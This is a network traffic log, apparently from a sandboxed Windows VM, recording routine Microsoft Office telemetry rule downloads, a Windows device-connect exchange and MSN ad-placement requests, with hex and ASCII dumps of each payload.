Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162425Z-174f7845968psccphC1EWRuz9s0000000yxg000000009hky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162425Z-174f7845968jrjrxhC1EWRmmrs0000000yrg00000000dved x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:26 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162426Z-174f78459685m244hC1EWRgp2c0000000ydg00000000f8zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:26 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:26 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e94c41b0-301e-0000-6d41-41eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162426Z-174f784596886s2bhC1EWR743w0000000yu0000000001kkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:26 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162426Z-174f7845968jrjrxhC1EWRmmrs0000000yu0000000008mtc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49758	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:26 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 68 79 50 35 70 6c 78 61 6b 61 61 33 65 37 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 35 39 39 36 64 36 62 65 30 34 32 36 66 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 6hyP5plxakaa3e7d.1Context: 625996d6be0426fd
2024-11-28 16:24:26 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-28 16:24:26 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 36 68 79 50 35 70 6c 78 61 6b 61 61 33 65 37 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 35 39 39 36 64 36 62 65 30 34 32 36 66 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4e 32 58 47 4f 4d 57 6e 50 7a 44 6c 75 39 2b 43 66 52 6b 4b 7a 58 54 55 49 42 76 55 54 45 6a 58 64 46 50 44 55 53 4b 43 65 70 76 45 2b 7a 6b 55 65 76 5a 71 4e 71 70 33 46 33 37 71 4b 59 39 69 6c 64 2f 6b 7a 78 38 62 6d 74 44 56 34 7a 31 66 75 55 49 32 2b 76 44 55 61 62 36 39 5a 30 75 4b 7a 71 59 65 58 32 43 76 7a 66 33 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 6hyP5plxakaa3e7d.2Context: 625996d6be0426fd<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASN2XGOMWnPzDlu9+CfRkKzXTUIBvUTEjXdFPDUSKCepvE+zkUevZqNqp3F37qKY9ild/kzx8bmtDV4z1fuUI2+vDUab69Z0uKzqYeX2Cvzf3Z
2024-11-28 16:24:26 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 36 68 79 50 35 70 6c 78 61 6b 61 61 33 65 37 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 35 39 39 36 64 36 62 65 30 34 32 36 66 64 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 6hyP5plxakaa3e7d.3Context: 625996d6be0426fd
2024-11-28 16:24:27 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-28 16:24:27 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 6c 7a 36 2b 32 63 41 70 45 2b 71 6a 77 57 53 36 32 65 32 4b 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7lz6+2cApE+qjwWS62e2KQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49762	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:27 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T162424Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=2a4341865e224d1e90b570a9bef687e6&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605406&metered=false&nettype=ethernet&npid=sc-88000045&oemName=umvjqd%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=umvjqd20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605406&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAaUGtBD9TQeY+/uze8RnPs3+L60iougrlxhJbMbvrXYtiqJAKBhknfCbdbGV/lVnA37BrJa2Isry7AiGaBv+lwAS/MaTCJNUUEZCAE3GI1ROLLGzXqEINBxCloTgQpiBF7AsI/IuPrbrI2sygzJ53N6s6og+FBXX/jxvEDnQxxieZTPsTPWX8VOoV3ISugvU/RR/ydVU4+GymUBIbngTUHXKtSUdFiDUEIu3x51rwfbBmV73DeD8InTUcbIuw3DYTwa46p7AfY6J5TRtjkfK/JVVRUM63PcxKThprG3pfVdfV5rDqUiclsfk/mjHfvavXIDrU1XDs7oG5KwrIYdxBSIQZgAAEK5lhgt/cESZ2hqutNNRiQiwAS0/NSCxJdOM4HW2J6Lh0JdJfOFE5z86SYc8YVhX2RZWim9GUlUXsIaFxXkuv9S3KQTSfR4FOPV4ytZ77S+buo69/vhufEMyA40Vkmmt0N9mOEZb9+B0ggBHcZFF21zmN7dQPKK5vmJe7n5ulZWUUc/ZmolEMmvf115QmLIHTWhCsw5lZTf8M5WpiJG7X0X9NSncpUKZaU6IsGjAy9z8vh3zeDJIaEBT5hNCfmT+UbuAEirmBzy6sB3hz3AzuyBy0645k0B7/1z+RsfxwZCa1d5G4VnIL5J4jmB+yE+1x0TAlqY2YMQ7noFvhFDSrIsev5QMHwsZdv2MQlM8ys/zHBay3lrPqhbagY+CGmCT050njdakDDLsodZ1GosLpwk+B+BE3owdCrnm4e5mJooyJ2vYVyPaP7B/eKFYyrjbX1qtJV+1kJc+MH3+GA2FpTn0eVoBuvoSxxiLSrERPHI7LmZYX1p/H6UQvRSHVfSroPvAtwRUtRHQrwrclZaTnewqNo4wjuMXrmGes5A1HKHxUDUwVN5G8Bua4KtRVp3H0jIAhSGul+73wh8M+MwDpRlfVdgB&p= Cache-Control: no-cache MS-CV: vwTWr6w750qPAX8q.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 16:24:27 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2943 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: Pxq39hltvynOmy4CO4CitjBgn+x/lGPlvmid5ZXTnT3zxwUhdsZkRXso+MHgRLeCbnrbiYl0MNUO+16d0SPMpZK25dZCPxZXGObmDQ4pQQyyGuqyzzj2aP3ZXZtan4IzCz7lWOF/f04BvnvltGu8/d16xSk7jhnDOopiOXJq/d7WHFVi6hDpGcbpEkYdtDrAQwlRK9mLyJ3WGgL+Z0p9OmUUP3733IOyHEHeQ5m0jtnMe0ALYY4FN7f1chwbp83at6HhqbNpLHiYj5PSCul5mpkpv8tsK6pgTuSBrbqINCakpoEHA3VWTUCthIJU5cRJqnpjJSV+SOUwsvZ38pGZYA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 16:24:26 GMT Connection: close
2024-11-28 16:24:27 UTC	2943	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49761	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:27 UTC	602	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=115137631&PG=PC000P0FR5.0000000IRU&REQASID=5E6FDA521C7D4A94AA3A5BD381088FCA&UNID=338389&ASID=6b9719f38d9d4a179ed76da11b3e2eef&&DS_EVTID=5E6FDA521C7D4A94AA3A5BD381088FCA&DEVOSVER=10.0.19045.2006&REQT=20241128T162408&TIME=20241128T162411Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-11-28 16:24:27 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 40b18268-ef9e-4e99-9683-9ea6cda872ea Date: Thu, 28 Nov 2024 16:24:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 479694aa-601e-0001-3769-40faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162427Z-174f7845968l4kp6hC1EWRe8840000000yx000000000auwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 80135fc2-701e-001e-3d45-40f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162427Z-174f7845968vqt9xhC1EWRgten0000000ysg000000005gqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
